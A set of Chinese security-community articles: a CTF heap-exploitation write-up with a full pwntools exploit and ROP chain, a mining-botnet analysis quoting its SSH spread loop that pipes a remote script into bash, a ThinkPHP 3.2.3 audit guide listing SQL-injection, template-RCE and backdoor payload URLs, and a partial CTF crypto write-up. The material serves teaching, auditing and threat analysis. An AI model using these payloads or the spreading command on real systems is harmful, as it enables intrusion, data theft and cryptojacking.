> 7b0-chunk13
>
> bf0-chunk12
pl=p64(libc_base+0x21a0e0)*2+p64(heap_base)+p64(stderr-0x20)
edit(2,pl)
add(11,0x458,b'lll')
###### stderr已被覆盖为chunk3的地址
chunk3储存着我们伪造的fake_file
fake_file = b'0' * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)
刚构造后的chunk3：
delete(3)并edit(2,pl)后的chunk3
0x3a0-0x3b0并不影响我们fake_file的布局
**未修改chunk2后add(11,0x458,b'lll')：**
###### **pointer_guard攻击：** pointer_guard覆盖为chunk12的地址
delete(15)
add(10,0x450,b'rrr')
delete(12)
li('pointer_guard = '+hex(pointer_guard))
pl=p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20)
edit(15, pl)
#main_arena+1120 main_arena+1120
#chunk15 pointer_guard-0x20
我们要修改这里，查看__pointer_chk_guard_local发现它，但是这里又是不可写的
查看fs_base，这里我们选择攻击的是fs+0x30偏移的这个值
将0xc87d070b4dced3ee覆盖掉
add(9,0x450,b'hhh')
###### **将覆盖pointer_guard为已知的堆地址**
fs[0x30]以被我们修改，也可以看到__pointer_chk_guard_local没有改变
> 290-chunk2 - edit(stderr)
>
> 6c0-chunk1
>
> af0-chunk15 - edit(pointer_guard)
>
> f40-chunk14
>
> 390-chunk3 - stderr(fake_file)
>
> 7b0-chunk13 orw
>
> bf0-chunk12 - pointer_guard
>
> 030-chunk11
###### 修改topchunk大小
add(8,0x450,b'ggg') #d50
delete(9)
delete(10)
delete(8)
add(7,0x460,b'a'*0x458 + p64(0x471))
add(6,0x460,b'a'*0x458 + p64(0x451))
delete(6)
delete(9)
add(4, 0x460, p64(0) + p64(0x100))
可以看到top_chunk的size已被我们修改
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(5))
sla('plz input your cat size:\n',str(0x460))
###### 触发 **IO调用**
**__malloc_assert**
**fflush**
**_IO_cookie_write**
**getkeyserv_handle+576**
**orw**
chunk13=heap_base+0x10d0+0x460
orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b'\x00' * 0x10
orw += p64(setcontext+61)
orw += b'\x00' * 0x78
orw += p64(heap_base + 0x10e0 + 0x460+0xa0) + p64(ret)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
这里的close(0)解释一下，首先我们可以看到沙箱这里调用read的话会查看fd是否为0，非0则直接KILL
如果我们要将调用flag来读入到内存则一定要使fd为0，但0、1、2（标准输入、输出、错误）均被占用时，我们如果read
flag，那么flag文件描述符则为3，程序会截止
而我们首先构造close(0)，将标准输入关闭掉，再次read的时候flag文件描述符就将是0，则可以正常read
###### exp:
from pwn import *
p=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'
s = lambda data :p.send(data)
sa = lambda x, y :p.sendafter(x, y)
sl = lambda data :p.sendline(data)
sla = lambda x, y :p.sendlineafter(x, y)
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
def add(idx,size,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(idx))
sla('plz input your cat size:\n',str(size))
sa('plz input your content:\n',cont)
def delete(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(2))
sla('plz input your cat idx:\n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(3))
sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(4))
sla('plz input your cat idx:\n',str(idx))
sa('plz input your content:\n', cont)
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
add(0,0x428,b'aaa')
add(1,0x428,b'./flag\x00')
delete(0)
add(15,0x448,b'./flag\x00')
add(14,0x448,b'./flag\x00')
show(0)
libc_base=l64()-0x21a0d0
li('libc_base = '+hex(libc_base))
heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))#-0x290
li('heap_addr = '+hex(heap_base))
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x000000000011f497
pop_rax_ret = libc_base + 0x0000000000045eb0
ret = libc_base + 0x0000000000029cd6
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
close = libc_base + libc.sym['close']
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0x00000000001d8698
syscall = Read + 0x10
#print('================================
flag_path = heap_base + 0x440
rtld_global = libc_base + 0x275040 #0x278040
stderr = libc_base + libc.sym['stderr']
setcontext = libc_base + libc.sym['setcontext']
#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget = libc_base + 0x00000000001675b0
io_cookie_jumps_addr = libc_base + 0x215b80
pointer_guard = libc_base - 0x2890
_IO_stdfile_2_lock=libc_base+0x21ba60
#print('================================
fake_file = b'0' * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)
chunk13=heap_base+0x10d0+0x460 #chunk orw
orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b'\x00' * 0x10
orw += p64(setcontext+61)
orw += b'\x00' * 0x78
orw += p64(chunk13+0xb0) + p64(ret)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
#close(0)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
#open(flag_path,0)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
#read(0,flag_path,0x41)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
#write(1,flag_path,0x41)
#print('=================================================sdterr
add(2,0x428,b'bbb')
add(3,0x418,fake_file)
delete(2)
add(13,0x438,orw)
add(12,0x438,b'mmm')
delete(3)
pl=p64(libc_base+0x21a0e0)*2+p64(heap_base)+p64(stderr-0x20)
#main_arena+1120 main_arena+1120
#chunk2 stderr-0x20
edit(2,pl)
li('stderr = '+hex(stderr))
add(11,0x458,b'lll') #030
#print('=================================================pointer_guard
delete(15)
add(10,0x450,b'iii') #490
delete(12)
li('pointer_guard = '+hex(pointer_guard))
edit(15, p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20))
#main_arena+1120 main_arena+1120
#chunk15 pointer_guard-0x20
add(9,0x450,b'hhh') #8f0
add(8,0x450,b'ggg') #d50
delete(9)
delete(10)
delete(8)
'''
add(7,0x460,b'fff')
add(6,0x460,b'eee')
'''
add(7,0x460,b'a'*0x458 + p64(0x471))
add(6,0x460,b'a'*0x458 + p64(0x451))
delete(6)
delete(9)
add(4, 0x460, p64(0) + p64(0x100))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(5))
sla('plz input your cat size:\n',str(0x460))
itr()
#### 参考：
[第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全客 - 安全资讯平台
(anquanke.com)](https://www.anquanke.com/post/id/260614)
强网杯2022&pwn&house_of_cat： <https://www.bilibili.com/video/BV1XV4y1j7kf/>
| 社区文章 |
# 威胁快讯：一次僵尸挖矿威胁分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
友商发布了一个威胁分析 [报告](http://www.freebuf.com/vuls/175709.html)，我们阐述一下从我们的角度看到的情况。
## 核心样本
hxxp://120.55.54.65/a7
核心样本是个 Linux Shell 文件，后续动作均由该样本完成，包括：
* 挖矿获利
* 确保资源
* 逃避检测
* 横向扩展
## 挖矿获利
具体的挖矿动作是由下面一组样本完成的：
* hxxps://www.aybc.so/ubuntu.tar.gz
* hxxps://www.aybc.so/debian.tar.gz
* hxxps://www.aybc.so/cent.tar.gz
样本中的挖矿配置如下：
* 矿池地址：xmr-asia1.nanopool.org:14433
* 钱包地址：42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7
查矿池给付记录可知：
* 累计收益：52.403617565491 XMR
* 当前算力：114,030.0 H/s
* 开始时间：2018-02-28 14:30:03
* 最近给付时间：2018-06-26 05:35:36
## 确保资源
核心模块中为了确保挖矿资源，采取了若干对抗动作，包括：
* 杀进程：杀掉了其他挖矿进程运行，进程关键字包括 xig, cranbery, xmr,stratum,minerd
* 设防火墙规则：为防止竞争者DDG僵尸网络的矿机下载，屏蔽IP地址 165.225.157.157
* 调整hosts：屏蔽了若干矿池，包括 yiluzhuanqian, f2pool, minexmr 等等
## 逃避检测
核心模块采取了若干动作对抗检测，包括：
* 调整文件时间，逃避 find 检索。使用 /etc/sudoers 文件的时间来对齐自身关键文件时间
* 隐藏进程：调用 libprocesshider ，来自github 上 gianlucaborello 的 libprocesshider项目
* 调整 ld.so.preload：按照友商的说法是隐藏进程
* 调整dns服务器：防止被从dns流量中分析出来，将本地DNS服务器设为 8.8.8.8 和 1.1.1.1
* 对抗阿里云、云镜：调用 aliyun、yunjing的uninstall脚本
* 删除日志和邮件：删除文件包括 /var/log/cron /var/spool/mail/root /var/mail/root
## 横向扩展
检查本地 ssh 凭证，尝试进一步横向扩展，继续投递核心模块 a7
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- hxxp://120.55.54.65/a7 | bash >/dev/null 2>&1 &' & done
fi
## IoC
### 主要模块
hxxp://120.55.54.65/a7 AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
### 挖矿程序
hxxps://www.aybc.so/ubuntu.tar.gz
hxxps://www.aybc.so/debian.tar.gz
hxxps://www.aybc.so/cent.tar.gz
审核人：yiwang 编辑：少爷 | 社区文章 |
### 0x00 简介
已下是阅读须知
1， 本文所用框架是官方Thinkphp3.2.3
2，
本文所举例子并不关TP这个框架什么事情，也没有吐槽TP的意思，只是单纯的希望帮助使用TP的开发者更好的认识这框架，能够安全的利用框架，明白在使用TP的过程中，哪一些操作是可能会造成安全问题的。
3，本文，不涉及什么源码解析，就是单纯的告诉你们，什么样子的情况下会造成注入，什么样子会造成命令执行，什么样子会造成模版注入之类的,源码解析本文不会讲 :
)
为什么会有这篇水文？
1， 因为TP3.2占比还是很高
2， 因为我见过的使用TP3.2的或多或少都会踩一下这些雷区
3， 自己公司因为历史原因部分业务使用的是TP3开发的，所以记录一下，防止内部踩雷
注：本文例子有的是网上的，有的是自己的，基本上我手上所有的都报的差不多了。
注：本文对于黑盒渗透基本没什么用所以读者看的时候别抱太多想法，祝大家白盒赚零花钱顺顺利利 : )
### 0x01 下载安装测试代码
下载地址：<http://www.thinkphp.cn/download/610.html>
自己配置一下数据库路径：test_thinkphp_3.2.3\Application\Common\Conf\config.php
自己安装，安装完以后：访问一下
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/index>
没报错就是成功
开启debug 方便本地测试
路径：test_thinkphp_3.2.3\index.php
### 0x02 各种奇奇怪怪的雷区
#### 0x02.1 使用 $this->show 这种情况下会造成命令执行
url：<http://test_thinkphp_3.2.3.test/index.php/Home/Index/index?test=><php>phpinfo();</php>
这个问题，大部分使用 php模板引擎技术 外部可以控制的情况下，都容易存在这种所以不过多解释=-= 反正不关tp框架的问题就是了。
#### 0x02.2 使用 $this->display这种情况下会造成命令执行
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/testDisplay?test=><php>phpinfo();</php>
#### 0x02.3 使用 $this->fetch这种情况下会造成命令执行
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/testFetch1?test=><php>phpinfo();</php>
#### 0x02.3 当想留后门时，可以利用I 函数造成命令执行留后门
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/testI?i=assert>
POST: test = phpinfo();
#### 0x02.4 当想留后门时，可以利用 M 方法中的偏门方法filter 造成命令执行留后门
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/testFilter?test=assert>
POST: data = phpinfo()
#### 0x02.5 这样使用 $this->display的情况下可能会造成服务端模板注入
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/testDisplay2?test=../phpinfo.jpg>
#### 0x02.6 这样使用$this->fetch的情况下可能会造成服务端模板注入
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/testFetch2?test=./phpinfo.jpg>
#### 0x02.7 thinkphp 指纹识别的方法
方法一：
<http://test_thinkphp_3.2.3.test/index.php?c=4e5e5d7364f443e28fbf0d3ae744a59a>
方法二(此方法需要 url重写 不然一般都是报错)：
<http://test_thinkphp_3.2.3.test/4e5e5d7364f443e28fbf0d3ae744a59a>
如果有出现 图片不是404 那么基本上就是TP框架了！
方法三：
<http://test_thinkphp_3.2.3.test/ThinkPHP/logo.png>
如果出现了logo 那么就是tp了
方法四：
<http://test_thinkphp_3.2.3.test/ThinkPHP/LICENSE.txt>
#### 0x02.8 如果debug之前没有关，或是目录限制没做好，可能造成信息泄露
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,所以如果你之前在线上开启过debug目录限制又没做好，那么就可以尝试利用
目录：test_thinkphp_3.2.3\index.php
ThinkPHP3.2 结构：Application\Runtime\Logs\Home\18_07_27.log
ThinkPHP3.2 解析：项目名\Runtime\Logs\Home\年份_月份_日期.log
那么就可以尝试利用：
<http://test_thinkphp_3.2.3.test/Application/Runtime/Logs/Home/18_07_27.log>
### 0x03 开发者造成的各种奇奇怪怪的注入
#### 0x03.1 前提描述：
注入基本上是我们每个开发者都会遇到的问题了，而框架已经帮我们解决了一部分，可是更多的情况框架是解决不了的，因此我们需要了解与清楚地知道 使用 tp 什么情况下外部控制是会造成sql注入的问题的。
注：这和TP真没关系，其实就是借TP讲解，现在经常造成注入的地方，而且能出现这种例子的，大部分都是开发者的水平问题了
#### 0x03.2 开发者失误的情况下各种可注入的情况 field注入
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/fieldSql>
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/fieldSql?table_name='test>
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/fieldSql?table_name=test>
from test where (extractvalue (1,concat(0x7e,(SELECT USER()), 0x7e))) – a
这是因为 底层是直接字符串拼接的然后带入数据库，框架的开发者，肯定也没想到会有人这样玩，因为这里一般是不会开放给外部控制的
#### 0x03.3 开发者失误的情况下各种可注入的情况 order注入
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/orderSql>
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/orderSql?order=id>
and(updatexml(1,concat(0x7e,(select user())),0))
这是因为 底层是直接字符串拼接的然后带入数据库，框架的开发者，肯定也没想到会有人这样玩，因为这里一般是不会开放给外部控制的
#### 0x03.4 开发者失误的情况下各种可注入的情况 comment注入
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/commentSql>
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/commentSql?comment=*/>
where updatexml(1,concat(0x7e,(select user())),0) /*
#### 0x03.5 开发者失误的情况下各种可注入的情况 group注入
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/groupSql>
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/groupSql?group=id,updatexml(1,concat(0x7e,(select>
user())),0)
#### 0x03.6 开发者失误的情况下各种可注入的情况 having注入
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/havingSql?having=id>
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/havingSql?having=id> and
updatexml(1,concat(0x7e,(select user())),0)
#### 0x03.7 使用原生还不过滤的情况 query注入
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/querySql?id=1> and
updatexml(1,concat(0x7e,(select user())),0)
#### 0x03.8 使用原生还不过滤的情况 execute注入
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/executeSql?id=1>
and updatexml(1,concat(0x7e,(select user())),0)
#### 0x03.9 统计查询外部可控制时造成的注入( Count,Max,Min,Avg,Sum )
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/info?test=1>) from test
where updatexml(1,concat(0x7e,(select user())),0) -- a
剩下的几个都是同理
#### 0x04.0 setInc与setDec 外部可控制时将会造成注入
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/setSql?test=> 1
WHERE id =1 and updatexml(1,concat(0x7e,(select user())),0) -- a
### 0x04.1 重点-开发者最容易导致sql注入的地方-WHERE注入
注：这里要很郑重说明提醒一下！
使用thinkphp 一定要 使用 系统I函数避免直接使用 $_GET $_POST $_COOKIE
否则不是可能会造成注入，是一定会造成注入的问题！
外部可控制的参数如果是数字请一定要转整 不是数字是字符的 一定要知道什么情况会转义，什么时候不会。
#### 0x04.1.1 即使使用了I函数也是不讲道理直接日穿型 1
url:
[http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest1?id[0]=bind&id[1]=0](http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest1?id\[0\]=bind&id\[1\]=0)
and updatexml(1,concat(0x7e,(select user())),0)
#### 0x04.1.2 即使使用了I函数也是不讲道理直接日穿型 2
只要条件是setField并且 where 中你可以控制的情况，无视框架直接注入即可 : )
url:
[http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest2?id[0]=bind&id[1]=0](http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest2?id\[0\]=bind&id\[1\]=0)
and updatexml(1,concat(0x7e,(select user())),0)
#### 0x04.1.3 即使使用了I函数也是不讲道理直接日穿型 3
一般来说不会有这种写法，但是还是要告诉你们不能这样写,基本上使用了 exp 就是裸奔了，所以没什么好说的。
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest3>
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest3?id=%3D1>
and updatexml(1,concat(0x7e,(select user())),0)
#### 0x04.1.4 即使使用了I函数也是不讲道理直接日穿型 4
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest4?id=(2>)
and updatexml(1,concat(0x7e,(select user())),0)
#### 0x04.1.5 讲道理型的where 注入
像这种直接 $_GET $_POST $_COOKIE 等等只要能够构造数组进入where 的就可以不用讲什么道理了。直接注就是了，如下是例子
url:
[http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest5?id[0]=exp&id[1]=](http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest5?id\[0\]=exp&id\[1\]=)
In (2) and updatexml(1,concat(0x7e,(select user())),0)
#### 0x04.1.6 save / add 可直接注入的情况
url:
[http://test_thinkphp_3.2.3.test/index.php/Home/Index/saveAddSqlTest?test[0]=exp&test[1]=](http://test_thinkphp_3.2.3.test/index.php/Home/Index/saveAddSqlTest?test\[0\]=exp&test\[1\]=)
1 and updatexml(1,concat(0x7e,(select user())),0)
#### 0x04.1.7 使用组合查询时的注入方式1 _string注入
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/sqlTest1?test=updatexml(1,concat(0x7e,(select>
user())),0)
#### 0x04.1.8 使用组合查询时的注入方式2 _query注入
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/sqlTest2?test=`id`/**/in(2)/**/and/**/updatexml(1,concat(0x7e,(select/**/user())),0))/**/%23>
#### 0x04.1.9 使用组合查询时的注入方式3 _complex注入
url: <http://test_thinkphp_3.2.3.test/index.php/Home/Index/sqlTest3?test=1=1>
and updatexml(1,concat(0x7e,(select user())),0)
#### 0x05.0 0day thinkphp3.2 find/select/delete注入
url:
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/testSqlFind?test[where]=updatexml(1,concat(0x7e,(select>
user())),0)
### 0x05 总结
市面上现在主流的php 框架
thinkphp3.2 thinkphp5 laravel yii CodeIgniter
这些框架都有优秀，有了他们php才显得那么多彩，而也是有他们，市场上的占有率一直的飙升。
需要知道的是因为框架本身就没有安全这个概念，大部分的问题都是开发者的代码抒写问题，然后又刚好踩了一下框架的雷区，导致了各种问题。
而他们又是可能在实际中会遇到的，所以有了本篇文章。当然不是说我天天故意针对tp因为上面我提到的框架，我类似这样的文档我全都整理了一份。
我是真的挺喜欢查看框架的源码的，因为你都不知道 PHP这个行业对框架的依赖有多高。
所以熟读PHP的框架对于我白盒简直是舒服。因为我可以自己整理出一份关于框架的审计文档。然后在日常审计人家的cms时，只要确定了人家是某个框架做的cms，那么就可以大大的降低我的审计成本。
因为这时，我只需要先搜索查看开发者是否踩了框架的雷区就可以直接定位到一些漏洞。
最后在此说明一次，我真没有想搞tp，我本身公司也是使用thinkphp
进行项目的开发，导致我对这个框架简直不要太熟，也让我读它的时间最长，而同事包括我也会有时踩到这些雷区导致各位问题的出现，所以才会统计起来。 | 社区文章 |
# 2021上海“东华杯” Crypto&Misc 部分writeup by Et3rn1ty
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
昨天和wh1t3大佬一起打了上海的东华杯，太艰难了，虽然没进线下，诸神黄昏没顶住，但是我们两个人也算尽力了，给各位大佬递茶（我主攻Crypto，wh1t3全栈orz），Crypto和Misc方向wp如下。
## Misc
### checkin
把+-号删去后base64:
将.删去即可得到flag:
**flag{dhb_7th}**
### project
打开压缩包发现里面还有压缩包
点开发现里面有个你来了文件，010打开：
三段密文，第一段base64：
第二段查找发现是：
第三段：
猜测是图片经过加密，后面在第二段文字中通过0宽隐写找到hurryup
最后在OurSecret隐写中试出：
**flag{f3a5dc36-ad43-d4fa-e75f-ef79e2e28ef3}**
### Jumptiger
用IDA打开exe，发现hint：
int main(int argc, const char **argv, const char **envp)
{
int v4[100]; // [rsp+20h] [rbp-60h]
int v5[101]; // [rsp+1B0h] [rbp+130h]
int v6; // [rsp+344h] [rbp+2C4h]
int v7; // [rsp+348h] [rbp+2C8h]
int i; // [rsp+34Ch] [rbp+2CCh]
printf("This is your hint!!!");
v7 = 0;
v6 = 0;
for (i = 0; i <= 99; ++i)
{
if (i & 1)
v4[v6++] = i;
else
v5[v7++] = i;
}
return 0;
}
即为奇数位与偶数位分离，在exe文件里面还发现许多base64文字，提取出来：
f = open("1.txt",’r’)
F2 = open("2.txt","w")
for line in file:
s = ''
for i in range(len(line)):
if i & 2 == 1:
#if i % 2 == 1:
s += line[i]
F2.write(s)
得到两张相似图片，很容易想到盲水印，bwmforpy3处理得到：
得到flag
## Crypto
### BlockEncrypt
这里应该是非预期了，只需要用pwntool不停地发送数字并接收处理即可得到flag，这里先不放wp，等官方吧（貌似暴露了出题人信息？）
### Fermat’s Revenge
分析：
注意这里的hint-1011^n和1011^n均可模n，这样才算的快，不然得跑炸（至于为什么可以这样做相信大家都学过辗转相除法…）
值得一提的是，这种题一般题目都会再给一个条件比如(c1p+c2q)^c3 mod n = c4，然后构造差式求gcd，
~~说明那些题目条件其实是给多了的~~ 这里也算是一个强化版的。这题手慢了，抢了个三血orz
### The_RSA
从题目可以发现是共私钥d，于是可以用格+LLL来打：
这种题有类似题，见lazzaro大佬blog。
[la佬博客](https://lazzzaro.github.io/2021/04/02/match-%E7%BA%A2%E6%98%8E%E8%B0%B7%E6%9D%AF%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B%E6%8A%80%E8%83%BD%E5%9C%BA%E6%99%AF%E8%B5%9B/)
### My_CryptoSystem
emm…重头戏应该是这题
全场四支队伍解出，我侥幸拿了二血（膜一波春哥，春哥tql），乍一看挺难的（确实难搞），不过现在回想起来也没那么难（doge）
#### 检索
首先观察这个密码系统，如此整洁对称的形式让我意识到这大概率不会是自己实现的系统，于是，将A，B的构造方法Google一下找到了一篇paper：
[A Simple Public-Key Cryptosystem with a Double
Trapdoor Decryption Mechanism and its
Applications](https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.363.2529&rep=rep1&type=pdf)
对论文内容大致阅读后定位到这么几个位置：
1.
2.
3.
#### 分析
注意到第三张图片提供了解密的思路，一种方法是已知私钥a，另一种是已知N的分解，根据N的分解求a,r最终解密。在这里求a显然是不现实的（离散对数困难），并且又给了hint_p的部分，这就告诉我们要通过分解N来破解。
#### 分解N
先看hint_p：
我们已知tmp和tmp关于s的函数，容易判断在s这个数量级tmp关于s大概率是递增的，于是便二分求得s，求得s之后：
实际上这里选2,3,5,7作为底数等都是可以的。
#### 求a
分解N之后，我们可以通过论文给的方法求a（见第一张paper），这里还需要注意的一个点是论文为简便假定k为1，但是这里的k并不为1，需要我们手动计算，然后利用Theorem
2的方法对于每一个pk_i计算a_i（tips：Theorem 2可用二项式定理证明）
#### 破解
r的求法和求a一致，但是要注意的是，我们求的是flag和Cipherpair的元素相乘的r，因为这个密码系统有个很好的同态性质：明文加密的乘积等于明文之和的加密，也即：
因此，根据paper，我们计算各个乘积m_i，然后再用每个m_i去减去msg里面的msg[i]即可得到flag对应的数，再转一下bytes就OK。
脚本如下（写的有点丑）：
from gmpy2 import *
from Crypto.Util.number import *
tmp=2089820154361924508538446108269935994030991606156223866732111667565405536357951576932005538690066537157876197699892075508740495066305688019890842829635043384709521434078225616521711490046642353950430417257110729534241934599342763216934382507890843139336018657335470504043142686710682489530263596109599133035852965109994347644620820009305543437875083895364089690324078052120492016025852286525379384165456287789916135399608320421080142272824648234077271239
low=2**299
high=2**300
while low<high:
mid=(low+high)//2
if 160*mid**5-4999*mid**4+3*mid**3+1-tmp==0:
print(mid)
break
if 160*mid**5-4999*mid**4+3*mid**3+1-tmp>0:
high=mid
if 160*mid**5-4999*mid**4+3*mid**3+1-tmp<0:
low=mid
'''
mid=s=1671851834649376689415708146427915127601225639941524508075898365296193782691768373380348719
k=4754554704850256778735590524610198650134411842195769091014820818006719109076990463132664392410346996151618768679351242113559724888503360891602436068027480096077744129030903799750522449629563167331234800938157843104162908741560754165079655724386560424354241873270243951101550271418161866852414027840274660897560505560592778782999814888630027736110016694348246733240044893091852214993195382284720215971750824583201530096744098305208135579825277427773380365958535283046470144144352699812110234265819380925076898066919988177676804355154180985014979937373728326970953528209024041485612988673300305132326622171387609623970503906414505695241100228178195501703362993518592645115413103443814609075683842563042188195716372976033442192563213118978648065192441568907898818839116767361016811780259368084648202006311424864142848992635395305600087965119190953328660288340036554907015710158774036156031291945221415931203408213938539125767026567541875969985838907594310155023484089758562356095813394182426424280944183767485789076221330170873590842770602658661929426473703786140848071549104898060065424610476664198700570104078850887778740665433646775058466342677098034851582851695443468542495004414257971321957486355601109441528757660193703856176230053629793357594015242817161463498657786282023717157539990501344327727261042890805881309270880487651486594529545558459211814637383142541225166192984876428104067186747881829071952656638565990503611295971951908518213836344151288156790569510760651462369074980391496200052235424241684421857862330745967465958892344083059604778452476294040911064848849555467068424693645415363666565337347596180163710543280805007719475566945680597492608452049627829942996048259794057272565854394838938632624405485120604151384323523336231735350133769991732316995630786791632338370892271000890581982409887852570584336019474871417510375712633622
enc=3641689194774522751772881893951671674148691387514891841219854139074260615211893939706524442849427751577418937381113758612144941739205802645326720435220616084018964212664795550823595356266621569074498523899822097152945932297015836293164571440947142981966925784613316105761422962328635760928898284379109770862267485751112796125629801808779837237993511568753745754841706909825019328191682840062343072984275667214145809390068649665691990257221002993656386225256739366096105045986868214344773045631488925503173869067901680574360994439025984827910645562780652104858743740017718425021995497443288679420548637161566499592541229687732206774049444840873565023672176430754767239772152582847321267783138216912402203584949061955953374675872838268866710716677396241589028105758939613034895881105327819815859435435890666753867494401829723203526932379137